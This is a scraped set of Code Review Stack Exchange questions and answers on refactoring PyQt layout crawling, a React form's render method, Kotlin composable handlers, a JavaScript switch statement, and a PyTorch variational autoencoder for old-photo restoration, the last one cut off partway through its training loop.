[ { "body": "<p>Not being all that familiar with the Python interface to Qt, I've only picked up on some minor points that can be improved:</p>\n<pre><code>def crawl(layout: QLayout, elements: dict) -&gt; None:\n</code></pre>\n<p>should have a more specific type hint for the dictionary. I don't know what the value type is (<code>QWidget</code>?), but the key type is almost certainly <code>str</code>, so something like <code>Dict[str, QWidget]</code>. This type hint would also be used as the return type for <code>collect_interactive_elements</code>.</p>\n<p>Consider refactoring <code>crawl</code> so that rather than mutating a dictionary, it yields pair tuples; also don't call <code>child.widget()</code> twice:</p>\n<pre><code>def collect_interactive_elements(layout: QLayout) -&gt; Dict[str, QWidget]:\n return dict(crawl(layout))\n\n\ndef crawl(layout: QLayout) -&gt; Iterable[\n Tuple[str, QWidget]\n]:\n for i in range(layout.count()):\n child = layout.itemAt(i)\n widget = child.widget()\n if widget is not None:\n name = widget.accessibleName()\n if name:\n yield name, widget\n if isinstance(widget, QGroupBox):\n yield from crawl(widget.layout())\n elif isinstance(widget, QGroupBox):\n yield from crawl(widget.layout())\n elif child.layout() is not None:\n yield from crawl(child.layout())\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T17:51:06.697", "Id": "500551", "Score": "0", "body": "Hi, thanks a lot for taking the time! I didn't even know you can be this specific with type hints. I like those suggestions." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T17:01:19.233", "Id": "253831", "ParentId": "253572", "Score": "1" } }, { "body": "<p>In Qt, all objects can have names, so use <code>QObject::objectName</code> for that. The <code>accessibleName</code> is used for the accessibility interfaces (i.e. screen readers and such). In Qt Designer, all objects have names already, and those names are <em>both</em> <code>objectName</code> as well as the name of the member in the <code>ui</code> object (but you load them dynamically, so the latter doesn't apply).</p>\n<p>You also don't need to select on types: it'd be perhaps better to have some fixed mapping between the property names in the <code>dict</code> and the methods used to access those properties of the objects.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T20:46:51.267", "Id": "500566", "Score": "0", "body": "Thank you! So you would suggest using the `objectNames`s in the dinctionary to store the corresponding information? And then use something like `getattr` or `setattr`? Could you elaborate on your second point? I don't really understand what you mean by fixed mapping. I distinguishd between types because the values of different types need to be set up differently." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-27T01:26:22.967", "Id": "500813", "Score": "0", "body": "There is a finite number of properties across all the widget types you'll be configuring, and Qt is pretty good about keeping the properties that have same name also be of same function and type. `QObject` properties are a Qt thing, I don't know if they mapped them to Python properties - just use `QObject::property` and `QObject::setProperty`. You can also use `QMetaProperty` - it's faster than lookup by name." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-27T08:57:18.957", "Id": "500819", "Score": "0", "body": "Thank you! I think I start to see what you are getting at but it would be great if you could use some of my code to give an example, because I don't know how I would implement this." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-11T09:21:54.030", "Id": "501997", "Score": "0", "body": "Hi, I still haven't figured out what you mean by your second point. Could you please elaborate?" } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-23T20:19:05.523", "Id": "253843", "ParentId": "253572", "Score": "1" } } ]
{ "AcceptedAnswerId": "253843", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T12:16:16.077", "Id": "253572", "Score": "2", "Tags": [ "python", "pyqt" ], "Title": "Properly setting up interactive elements such as QSpinBoxes or QComboBoxes, e.g. according to project specific data" }
253572
<p>I have a React component that renders the form of a model (called riskModel). This form is used in two different context; for creation and edition of a specific model.</p> <p>In this form, there are many different complex inputs, such as:</p> <ul> <li>Dynamic graph sections that include a .json file of a specific format, a title and a description</li> <li>Graph section that include an image of type .jpeg or .png, a title, a description, and a display type</li> <li>File section that include a file of any format (xlsx, pdf, image, ...) up to 3Go maximum</li> <li>The model name, type, and description</li> </ul> <p>And there can be any number of each input (it's up to the user to add or remove a section). I have moved into other components the dynamic graph section, graph section and file section (respectively <code>DynamicGraphSectionsInputs</code>, <code>GraphSectionInputs</code> and <code>FileInputs</code>).</p> <p>However, the rendering method gets heavy to read, to maintain and to understand. Is there some good practices to follow to make it easier to read, to maintain and to understand?</p> <p>Here is the render() method:</p> <pre class="lang-js prettyprint-override"><code>render () { const { riskModel } = this.state; const { loading } = this.state; const initialDataLoaded = this.props.initialDataLoaded; return ( &lt;div&gt; {loading || (typeof initialDataLoaded !== 'undefined' &amp;&amp; !initialDataLoaded) ? &lt;LoaderComponent /&gt; : ( &lt;Form&gt; &lt;Card className=&quot;model-form-container&quot;&gt; &lt;Grid columns={16} className=&quot;project-upload&quot; style={{ margin: 10 }}&gt; &lt;Grid.Row style={{ paddingTop: 0, paddingBottom: 10 }}&gt; &lt;div style={{ width: '100%' }}&gt; &lt;p className=&quot;section-title&quot;&gt;Model Name&lt;/p&gt; &lt;Input data-testid=&quot;model-title&quot; className=&quot;input-model&quot; placeholder=&quot;name of the model&quot; onChange={(e) =&gt; this.handleFormChange('label', e.target.value)} value={riskModel.label} /&gt; &lt;/div&gt; &lt;/Grid.Row&gt; &lt;Grid.Row style={{ paddingTop: 10, paddingBottom: 0 }}&gt; &lt;div style={{ width: '100%' }}&gt; &lt;p className=&quot;section-title&quot;&gt;Model Type&lt;/p&gt; &lt;Dropdown className=&quot;input-model&quot; data-testid=&quot;model-type-dropdown&quot; placeholder=&quot;Type of model&quot; search selection options={this.props.modelTypeOptions} onChange={(e, data) =&gt; this.handleDropdownChange('type', data)} value={riskModel.type} /&gt; &lt;/div&gt; &lt;/Grid.Row&gt; &lt;Grid.Row&gt; &lt;Grid.Column computer={16} style={{ paddingRight: 0, paddingLeft: 0 }}&gt; &lt;Wysiwyg description={riskModel.interpretation} handleChange={(description) =&gt; this.handleFormChange('interpretation', description)} /&gt; &lt;/Grid.Column&gt; &lt;/Grid.Row&gt; &lt;DynamicGraphSectionsInputs riskModel={riskModel} setRiskModel={(nextRiskModel) =&gt; this.setState({ riskModel: nextRiskModel })} /&gt; &lt;GraphSectionInputs riskModel={riskModel} setRiskModel={(nextRiskModel) =&gt; this.setState({ riskModel: nextRiskModel })} /&gt; &lt;FileInputs riskModel={riskModel} setRiskModel={(nextRiskModel) =&gt; this.setState({ riskModel: nextRiskModel })} documentsToDelete={this.state.documentsToDelete} setDocumentsToDelete={(documents) =&gt; this.setState({ documentsToDelete: documents })} /&gt; &lt;Grid.Row&gt; &lt;Grid.Column computer={16} style={{ paddingRight: 0, paddingLeft: 0 }}&gt; &lt;div className=&quot;creation-form__button&quot;&gt; &lt;Button id=&quot;cancel-risk-model&quot; className=&quot;button-cancel&quot; data-testid=&quot;button-cancel&quot; onClick={() =&gt; this.props.handleCancel()} &gt; Cancel &lt;/Button&gt; &lt;Button id=&quot;submit-risk-model&quot; data-testid=&quot;submit-risk-model-button&quot; disabled={!RiskModelForm.isFormValid(riskModel)} loading={loading} onClick={() =&gt; this.handleSubmit()} &gt; Save &lt;/Button&gt; &lt;/div&gt; &lt;/Grid.Column&gt; &lt;/Grid.Row&gt; &lt;/Grid&gt; &lt;/Card&gt; &lt;/Form&gt; )} &lt;/div&gt; ); } </code></pre>
[]
[ { "body": "<p><strong>Separate style out into the CSS</strong> if you want - this will de-clutter the JSX code a bit, allowing it to focus primarily on content and logic rather than style and presentation. For example, it'd be nice if you could change this:</p>\n<pre><code>&lt;Grid columns={16} className=&quot;project-upload&quot; style={{ margin: 10 }}&gt;\n &lt;Grid.Row style={{ paddingTop: 0, paddingBottom: 10 }}&gt;\n</code></pre>\n<p>to</p>\n<pre><code>&lt;Grid columns={16} className=&quot;project-upload&quot;&gt;\n &lt;Grid.Row&gt;\n</code></pre>\n<p><strong>Destructuring improvements</strong> This:</p>\n<pre><code>const { riskModel } = this.state;\nconst { loading } = this.state;\nconst initialDataLoaded = this.props;\n</code></pre>\n<p>can be</p>\n<pre><code>const { riskModel, loading } = this.state;\nconst { initialDataLoaded, handleCancel } = this.props;\n// destructure everything you ever use from props in the line above\n// so you don't have to go through props later\n</code></pre>\n<p><strong>initialDataLoaded?</strong> This line is a bit suspicious:</p>\n<pre><code>loading || (typeof initialDataLoaded !== 'undefined' &amp;&amp; !initialDataLoaded)\n</code></pre>\n<p>A <code>typeof</code> check shouldn't be necessary - unless you're dealing with a very unpredictable codebase where an <code>undefined</code> identifier may well actually not refer to <code>undefined</code>, comparing against undefined directly would be a bit nicer:</p>\n<pre><code>loading || (initialDataLoaded !== undefined &amp;&amp; !initialDataLoaded)\n</code></pre>\n<p>But do you really need both of those checks? Might you, for example, just do <code>loading || !initialDataLoaded</code>?</p>\n<p>If you <em>do</em> need to separately check that it's defined <em>and</em> falsey, consider comparing directly against the falsey value it'll be instead. (Hopefully there won't be multiple non-undefined falsey values, that'd be pretty weird)</p>\n<pre><code>loading || initialDataLoaded === ''\n</code></pre>\n<p><strong>Separate out larger components</strong> if you want to make the overall structure easier to understand at a glance. For example, you might want to refactor to something like this:</p>\n<pre><code>return (\n &lt;div&gt;\n {loading || (typeof initialDataLoaded !== 'undefined' &amp;&amp; !initialDataLoaded)\n ? &lt;LoaderComponent /&gt;\n : &lt;ModalForm /* add in needed props */ /&gt;\n &lt;/div&gt;\n);\n</code></pre>\n<pre><code>// ModalForm.jsx render:\n\n&lt;Form&gt;\n &lt;Card className=&quot;model-form-container&quot;&gt;\n &lt;Grid columns={16} className=&quot;project-upload&quot;&gt;\n &lt;ModelNameRow {...{ riskModel, handleFormChange }} /&gt;\n &lt;ModelTypeRow {...{ modelTypeOptions, handleDropdownChange }} /&gt;\n &lt;Grid.Row&gt;\n &lt;Grid.Column computer={16} style={{ paddingRight: 0, paddingLeft: 0 }}&gt;\n &lt;Wysiwyg\n description={riskModel.interpretation}\n handleChange={(description) =&gt; this.handleFormChange('interpretation', description)}\n /&gt;\n &lt;/Grid.Column&gt;\n &lt;/Grid.Row&gt;\n &lt;DynamicGraphSectionsInputs\n riskModel={riskModel}\n setRiskModel={(nextRiskModel) =&gt; this.setState({ riskModel: nextRiskModel })}\n /&gt;\n &lt;GraphSectionInputs\n riskModel={riskModel}\n setRiskModel={(nextRiskModel) =&gt; this.setState({ riskModel: nextRiskModel })}\n /&gt;\n &lt;FileInputs\n riskModel={riskModel}\n setRiskModel={(nextRiskModel) =&gt; this.setState({ riskModel: nextRiskModel })}\n documentsToDelete={this.state.documentsToDelete}\n setDocumentsToDelete={(documents) =&gt; this.setState({ documentsToDelete: documents })}\n /&gt;\n &lt;RiskModelButtons {...{ handleCancel, handleSubmit }} /&gt;\n &lt;/Grid&gt;\n &lt;/Card&gt;\n&lt;/Form&gt;\n</code></pre>\n<p>Maybe you'd want to abstract away the <code>Inputs</code> as well, or separate different sections - that's the general idea, it's up to you.</p>\n<p><strong>Functional components will make handlers a bit easier</strong>, and are generally recommended over class components by React for new code. For example, it'd be nice to change</p>\n<pre><code>setRiskModel={(nextRiskModel) =&gt; this.setState({ riskModel: nextRiskModel })}\n</code></pre>\n<p>to</p>\n<pre><code>setRiskModel={setRiskModel}\n</code></pre>\n<p>Or, even better:</p>\n<p><strong>Spreading props can reduce syntax noise</strong>, as you might've noticed I used above. Using functional components, additional destructuring of <code>documentsToDelete</code>, and spread will mean that the 3 Inputs can be made to look like:</p>\n<pre><code>&lt;DynamicGraphSectionsInputs {...{ riskModel, setRiskModel }} /&gt;\n&lt;GraphSectionInputs {...{ riskModel, setRiskModel }} /&gt;\n&lt;FileInputs {...{ riskModel, setRiskModel, documentsToDelete, setDocumentsToDelete }} /&gt;\n</code></pre>\n<p><strong>Avoid unnecessary anonymous callbacks</strong> Unless <code>handleCancel</code> or <code>handleSubmit</code> are doing something funny with conditional arguments, these:</p>\n<pre><code>onClick={() =&gt; this.props.handleCancel()}\n</code></pre>\n<pre><code>onClick={() =&gt; this.handleSubmit()}\n</code></pre>\n<p>can be</p>\n<pre><code>onClick={handleCancel} // destructure this in the beginning alongside initialDataLoaded\n</code></pre>\n<pre><code>onClick={handleSubmit} // destructure like above, or use functional component\n</code></pre>\n<p>If you're still using a class component and the anonymous wrapper is needed for the proper <code>this</code> calling context, define the methods using class fields instead so that <code>this</code> will point to the instance regardless of where the method is invoked - eg, change:</p>\n<pre><code>handleSubmit() {\n // ...\n}\n</code></pre>\n<p>to</p>\n<pre><code>handleSubmit = () =&gt; {\n // ...\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T08:14:48.547", "Id": "500126", "Score": "0", "body": "Wow, thank you for all your tips and details, they'e truly helpful !! I've tried to change my class component into a functional component several times, but each time something wrong came up, so I had to rollback... Thanks again, and I bid you a good day :)" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:04:12.787", "Id": "253592", "ParentId": "253575", "Score": "1" } } ]
{ "AcceptedAnswerId": "253592", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T14:10:17.210", "Id": "253575", "Score": "1", "Tags": [ "react.js" ], "Title": "Rendering the form of a model with many different complex inputs in React.js" }
253575
<p>Here is a composable <code>IHandler&lt;T&gt;</code> implementation. Any ideas on how to make it shorter and get rid of exception being thrown?</p> <pre><code>interface Handler&lt;T&gt; { fun handle(e: T) operator fun &lt;TOther&gt; plus(other: Handler&lt;TOther&gt;): Handler&lt;Any&gt; = Composite(this, other) private class Composite&lt;T1, T2&gt;( private val left: Handler&lt;T1&gt;, private val right: Handler&lt;T2&gt;) : Handler&lt;Any&gt; { override fun handle(e: Any) { try { left.handle(e as T1) } catch(ex: ClassCastException) { } try { right.handle(e as T2) } catch(ex: ClassCastException) { } } } } </code></pre> <p>Smoke test looks like this:</p> <pre><code>val h = A() + B() h.handle(&quot;33&quot;) // prints 'String: 33' h.handle(33) // prints 'Int: 33' </code></pre> <p>where:</p> <pre><code>class A : Handler&lt;String&gt; { override fun handle(e: String) = Debug.println(&quot;String&quot;, e.toString()) } class B : Handler&lt;Int&gt; { override fun handle(e: Int) = Debug.println(&quot;Int&quot;, e.toString()) } </code></pre>
[]
[ { "body": "<p>Well if you don't want the jvm to keep track of types for you by catching exceptions, you can do it yourself. I imagine its much faster than waiting for ClassCastExceptions but I didn't benchmark at all:</p>\n<pre><code>interface Handler {\n fun handle(e: Any)\n fun handlesType(t: Class&lt;*&gt;): Boolean\n \n operator fun plus(other: Handler): Handler =\n Composite(this, other)\n\n private class Composite(\n private val left: Handler,\n private val right: Handler\n ) : Handler {\n override fun handle(e: Any) {\n if (left.handlesType(e::class.java)) {\n left.handle(e)\n } else if (right.handlesType(e::class.java)) {\n right.handle(e)\n }\n }\n\n override fun handlesType(t: Class&lt;*&gt;) = \n left.handlesType(t) || right.handlesType(t)\n }\n}\n\ninline fun &lt;reified T&gt; handler(crossinline fn: (T) -&gt; Unit) = (object : Handler {\n override fun handle(e: Any) { fn(e as T) }\n override fun handlesType(t: Class&lt;*&gt;) = T::class.java.isAssignableFrom(t)\n})\n\nval A = handler&lt;String&gt; { println(&quot;String: $it&quot;) }\nval B = handler&lt;Int&gt; { println(&quot;Int: $it&quot;) }\n\nval h = A + B\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T14:54:33.870", "Id": "253620", "ParentId": "253578", "Score": "1" } }, { "body": "<p>Using <code>inline fun</code> and <code>reified</code> it's actually possible to check if a value is of a type parameter before using it.</p>\n<p>Now, I had to refactor this a bit because of some constraints:</p>\n<ul>\n<li>Check for <code>a is T</code> can only be done if <code>T</code> is <code>reified</code></li>\n<li>Only inline function can have reified type parameters</li>\n<li>Virtual functions (e.g. interface methods) cannot be inline</li>\n</ul>\n<p>So for me it was a bit of a puzzle to see how it could be done, but it could be done using something like this:</p>\n<pre><code>class Handler&lt;T&gt;(val function: (T) -&gt; Unit) {\n inline operator fun &lt;reified TOther&gt; plus(other: Handler&lt;TOther&gt;): Handler&lt;Any&gt; = Handler {\n if (it is TOther) other.function(it)\n else this.function(it as T)\n }\n}\n</code></pre>\n<p>Even if this is not the end result that you end up with, maybe it can help you explore future possibilities.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-20T19:45:06.057", "Id": "253717", "ParentId": "253578", "Score": "1" } } ]
{ "AcceptedAnswerId": "253620", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T15:23:48.447", "Id": "253578", "Score": "2", "Tags": [ "kotlin" ], "Title": "Composing IHandler<T>" }
253578
<p>I have a piece of code which works but I am looking for an optimal solution, if one exists. I have a column value and the value can only range from 2 to 10 including 2 and 10. The base value inside a switch is 18. Whenever the column value increases by 1, I need to decrease the value inside the switch by 0.5.</p> <p>This is what I have:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>const columns = 10; const getVal = (columns) =&gt; { switch (columns) { case 2: return 18 case 3: return 17.5 case 4: return 17 case 5: return 16.5 case 6: return 16 case 7: return 15.5 case 8: return 15 case 9: return 14.5 case 10: return 14 } } console.log(getVal(5))</code></pre> </div> </div> </p> <p>Is there a better solution to achieve the same thing? Thanks.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T16:02:44.543", "Id": "500066", "Score": "1", "body": "This isn't a programming question, this is a math question. And an easy one as well. You don't need a switch, you need a method that executes the proper calculation and returns the result." } ]
[ { "body": "<p>I would suggest simply converting the logic to a mathematical formula, rather than handling each case separately. This results in much shorter code, and clarifies that there is in fact a mathematical relationship between the input and output.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const getVal = (columns) =&gt; {\n return 18 - ((columns - 2) * 0.5);\n}\n\nfor (let x = 2; x &lt;= 10; x++) {\n console.log(x, getVal(x))\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>I would also highly recommend renaming the function <code>getVal</code>. I can't suggest a better name because I don't know what the reason for the function is, but I would think about what the output represents, and rename the function to indicate that.</p>\n<p>You could make the <code>getVal</code> function much shorter - it can be done in one line. However, whether or not this is advisable depends (in my opinion) on the experience levels of the developers who will read this code (i.e. yourself and any collaborators). If the shorter form is likely to confuse people then I would suggest sticking to something written out more fully, but if the syntax is familiar then it does save a bit of space.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const getVal = columns =&gt; 18 - (columns - 2) * 0.5;\n\nfor (let x = 2; x &lt;= 10; x++) {\n console.log(x, getVal(x))\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T03:00:51.527", "Id": "500114", "Score": "2", "body": "Your solution has changed the behavior of the function, returning a number for all inputs rather than just for the ints 2-10. A rather dangerous thing to do. Never change a function's behavior in an unknown/unfamiliar environment." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T07:26:18.803", "Id": "500120", "Score": "0", "body": "That is true. I did consider mentioning checking the input values are integers in the expected range, but I decided to interpret \"the value can only range from 2 - 10\" as meaning the OP has full control over the input and has already validated it. You are right that this is modified behaviour though, thanks for pointing that out." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T16:04:16.507", "Id": "253580", "ParentId": "253579", "Score": "4" } } ]
{ "AcceptedAnswerId": "253580", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T15:36:57.110", "Id": "253579", "Score": "-3", "Tags": [ "javascript" ], "Title": "Alternate to a switch case - Javascript" }
253579
<p><strong>Article:</strong> <a href="https://arxiv.org/pdf/2009.07047v1.pdf" rel="nofollow noreferrer">https://arxiv.org/pdf/2009.07047v1.pdf</a></p> <p><strong>Full Code:</strong> <a href="https://colab.research.google.com/drive/1KZZuIa7Lk13ImZLJ3b-kxMfcveOPaWvN#scrollTo=XhdMfBFtzaEH" rel="nofollow noreferrer">https://colab.research.google.com/drive/1KZZuIa7Lk13ImZLJ3b-kxMfcveOPaWvN#scrollTo=XhdMfBFtzaEH</a></p> <p><strong>Dataset</strong>: <a href="https://drive.google.com/file/d/1IliW9Z7s6B9VBadQ7BahFLnXLt_mmGzg/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1IliW9Z7s6B9VBadQ7BahFLnXLt_mmGzg/view?usp=sharing</a></p> <p><strong>First Block</strong></p> <pre><code>import os import sys import torch import torch.nn as nn import torchvision import PIL.Image import numpy as np import tqdm from torch.utils.data import Dataset, DataLoader, random_split from torch.utils.tensorboard import SummaryWriter from torch.nn import init from matplotlib import pyplot as plt torch.manual_seed(1) torch.cuda.manual_seed(1) </code></pre> <p><strong>Second block</strong></p> <pre><code>real_path = &quot;/content/targetdir/OldRealPhotos/&quot; x_path = &quot;/content/targetdir/SynthOldPhotos/&quot; batch_size = 16 class RealSynPhotosDataset(Dataset): def __init__(self, path_r,path_x): self.files_r = [os.path.join(path_r, f) for f in os.listdir(path_r)] self.files_x = [os.path.join(path_x, f) for f in os.listdir(path_x)] def __getitem__(self, index): img_r=self.Read_image(self.files_r[index]); img_x=self.Read_image(self.files_x[index]); return img_r, img_x def Read_image(self,name): img = PIL.Image.open(name).convert('RGB') img = img.resize((256, 256)) img = np.array(img)/255.0; img=np.transpose(img,(2,0,1)).astype('float32') return torch.tensor(img-0.5) def __len__(self): return min([len(self.files_r),len(self.files_x)]) # Need a better way, might not use some part of the data # test data gen data_set = RealSynPhotosDataset(real_path,x_path) img1,img2=data_set.__getitem__(0); print(img1.shape,img2.shape) #plt.imshow(np.transpose(img,(1,2,0))) train_len = int(len(data_set)*0.9) train_set, test_set = random_split(data_set, [train_len, len(data_set) - train_len]) train_loader = DataLoader(train_set, batch_size=batch_size, shuffle=False,num_workers=5) test_loader = DataLoader(test_set, batch_size=batch_size, shuffle=False,num_workers=5) </code></pre> <p><strong>Third Block</strong></p> <pre><code>device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') class ReNetBlock(nn.Module): def __init__(self,infil=64,outfil=64): super(ReNetBlock, self).__init__() self.conv1 = nn.Conv2d(infil, outfil, kernel_size=3, stride=1,padding=1) self.bn1 = nn.InstanceNorm2d(outfil) self.relu1 = nn.ReLU(False) self.conv2 = nn.Conv2d(outfil, outfil, kernel_size=3, stride=1,padding=1) self.bn2 = nn.InstanceNorm2d(outfil) self.relu2 = nn.ReLU(False) def forward(self, x): identity = x out = self.conv1(x) out = self.bn1(out) out = self.relu1(out) out = self.conv2(out) out = self.bn2(out) out += identity out = self.relu2(out) return out class ConvBNR(nn.Module): def __init__(self,in_channels,out_channels,activation=nn.LeakyReLU(0.2, False),kw=3,strides=2,pad=1): super(ConvBNR, self).__init__() self.conv1= nn.Conv2d(in_channels, out_channels, kernel_size=kw, stride=strides,padding=pad) self.bn1 =nn.InstanceNorm2d(out_channels, affine=False) self.activation = activation def forward(self,x): return self.bn1(self.conv1(self.activation(x))) class TransposeConvBNR(nn.Module): def __init__(self,in_channels,out_channels,activation=nn.LeakyReLU(0.2, False),kw=4,strides=2,pad=1): super(TransposeConvBNR, self).__init__() self.conv1= nn.ConvTranspose2d(in_channels, out_channels, kernel_size=kw, stride=strides,padding=pad) self.bn1 =nn.InstanceNorm2d(out_channels, affine=False) self.activation = activation def forward(self,x): return self.bn1(self.conv1(self.activation(x))) class VAE2_encoder(nn.Module): def __init__(self,in_channels=3,n_res_blocks=4,n_layers=5): super(VAE2_encoder, self).__init__() self.n_layers=n_layers self.layer=nn.ModuleList() self.layer1 = ConvBNR(in_channels,64,kw=7,pad=3,strides=1) for j in range(n_layers): self.layer.append(ConvBNR(64,64)) self.res_blks=nn.ModuleList() self.n_res_blocks=n_res_blocks for j in range(n_res_blocks): self.res_blks.append(ReNetBlock(64,64)) def forward(self, x): x=self.layer1(x) for j in range(self.n_layers): x= self.layer[j](x) for j in range(self.n_res_blocks): x=self.res_blks[j](x) return x class VAE2_decoder(nn.Module): def __init__(self,in_channels=64,out_channel=3,n_res_blocks=4,n_layers=5): super(VAE2_decoder, self).__init__() self.n_layers=n_layers self.layer=nn.ModuleList() for j in range(n_layers): self.layer.append(TransposeConvBNR(64,64,pad=1)) self.layer1 = nn.Conv2d(64, out_channel, kernel_size=1, stride=1) self.res_blks=nn.ModuleList() self.n_res_blocks=n_res_blocks for j in range(n_res_blocks): self.res_blks.append(ReNetBlock(64,64)) def forward(self, x): for j in range(self.n_res_blocks): x=self.res_blks[j](x) for j in range(self.n_layers): # print(x.shape) x= self.layer[j](x) #print(x.shape) x=self.layer1(x) return x class VAE2(nn.Module): def __init__(self,z_dim=256): super(VAE2, self).__init__() self.n_layers=2 self.down_fact=2**self.n_layers down_img_size=256//self.down_fact self.fdim=(down_img_size)**2*64 print('bottle neck image resolution '+str(down_img_size)) print('bottle neck dim is '+str(self.fdim)+'..!') self.size=[64,down_img_size,down_img_size] self.encoder=VAE2_encoder(n_layers=self.n_layers) self.decoder=VAE2_decoder(n_layers=self.n_layers) self.fc1 = nn.Linear(self.fdim, z_dim) self.fc2 = nn.Linear(self.fdim, z_dim) self.fc3 = nn.Linear(z_dim, self.fdim) def flat(self, input): return input.view(input.size(0),1, -1) def unflat(self, input): return input.view(input.size(0), self.size[0], self.size[1], self.size[2]) def init_weights(self, init_type=&quot;xavier&quot;, gain=0.02): def init_func(m): classname = m.__class__.__name__ if classname.find(&quot;BatchNorm2d&quot;) != -1: if hasattr(m, &quot;weight&quot;) and m.weight is not None: init.normal_(m.weight.data, 1.0, gain) if hasattr(m, &quot;bias&quot;) and m.bias is not None: init.constant_(m.bias.data, 0.0) elif hasattr(m, &quot;weight&quot;) and (classname.find(&quot;Conv&quot;) != -1): if init_type == &quot;normal&quot;: init.normal_(m.weight.data, 0.0, gain) elif init_type == &quot;xavier&quot;: init.xavier_normal_(m.weight.data, gain=gain) elif init_type == &quot;xavier_uniform&quot;: init.xavier_uniform_(m.weight.data, gain=1.0) elif init_type == &quot;kaiming&quot;: init.kaiming_normal_(m.weight.data, a=0, mode=&quot;fan_in&quot;) elif init_type == &quot;orthogonal&quot;: init.orthogonal_(m.weight.data, gain=gain) elif init_type == &quot;none&quot;: # uses pytorch's default init method m.reset_parameters() else: raise NotImplementedError(&quot;initialization method [%s] is not implemented&quot; % init_type) if hasattr(m, &quot;bias&quot;) and m.bias is not None: init.constant_(m.bias.data, 0.0) elif hasattr(m, &quot;weight&quot;) and (classname.find(&quot;Linear&quot;) != -1): init.normal_(m.weight.data,0.0,gain) self.apply(init_func) for m in self.children(): if hasattr(m, &quot;init_weights&quot;): m.init_weights(init_type, gain) def reparameterize(self, mu, logvar): std = logvar.mul(0.5).exp_() esp = torch.randn(*mu.size()).to(device) z = mu + std * esp return z def bottleneck(self, h): mu, logvar = self.fc1(h), self.fc2(h) logvar=logvar*1e-3; #Lazy way to stabilize the training. z = self.reparameterize(mu, logvar) return z, mu, logvar def encode(self, x): h = self.encoder(x) h=self.flat(h) z, mu, logvar = self.bottleneck(h) return z, mu, logvar def decode(self, z): z = self.fc3(z) z_img=self.unflat(z) z = self.decoder(z_img) return z,z_img def forward(self, x): z, mu, logvar = self.encode(x) z,z_out = self.decode(z) return z, mu, logvar,z_out </code></pre> <p><strong>Final Block</strong></p> <pre><code>model=VAE2().to(device) learning_rate = 2e-4 optimizer = torch.optim.Adam( model.parameters(), lr=learning_rate, betas=(0.5, 0.999) ) epochs = 200 l1_loss=torch.nn.L1Loss() means=[] logvars=[] writer = SummaryWriter('./logs/') steps = 1 for epoch in range(0, epochs + 1): # Training if epoch &gt; 0: # test untrained net first model.train() train_loss = 0 kl_loss=0 norm1_loss=0 with tqdm.tqdm(train_loader, total=int(len(train_loader)), file=sys.stdout, unit=&quot;batch&quot;,position=0, leave=True) as tepoch: for x in tepoch: tepoch.set_description(f&quot;Epoch {epoch}&quot;) x = x.to(device) x_hat, mu, logvar,z1 = model(x) loss1=l1_loss(x_hat, x) loss2 = torch.mean(0.5 * torch.sum(torch.exp(logvar) + mu**2 - 1. - logvar, 1)) loss=loss1+loss2 kl_loss+=loss2.item() norm1_loss+=loss1.item() train_loss += loss.item() writer.add_scalar(&quot;loss/l1_loss&quot;, loss1.item(), steps) writer.add_scalar(&quot;loss/kl_loss&quot;, loss2.item(), steps) steps += 1 optimizer.zero_grad() loss.backward() optimizer.step() tepoch.set_postfix(loss=train_loss / len(train_loader.dataset), l1_loss=norm1_loss/ len(train_loader.dataset), kl_loss=kl_loss/ len(train_loader.dataset)) print(f'====&gt; Epoch: {epoch} Average loss: {train_loss / len(train_loader.dataset):.4f}') # Testing with torch.no_grad(): model.eval() test_loss = 0.0 for ix,x in enumerate(test_loader): x = x.to(device) x_hat, mu, logvar,_ = model(x) loss=0.0 loss+=l1_loss(x_hat, x) loss+= torch.mean(0.5 * torch.sum(torch.exp(logvar) + mu**2 - 1. - logvar, 1)) test_loss+=loss.item() if ix&lt;1 and epoch % 5 == 0: plt.figure(figsize=(10, 4)) for i in range(4): plt.subplot(1,8,i+1) plt.imshow(np.clip(x_hat.detach().cpu().numpy()[i,:,:,:].transpose(1,2,0)+0.5,0.0,1.0)) plt.axis('off') for i in range(4): plt.subplot(1,8,i+1+4) 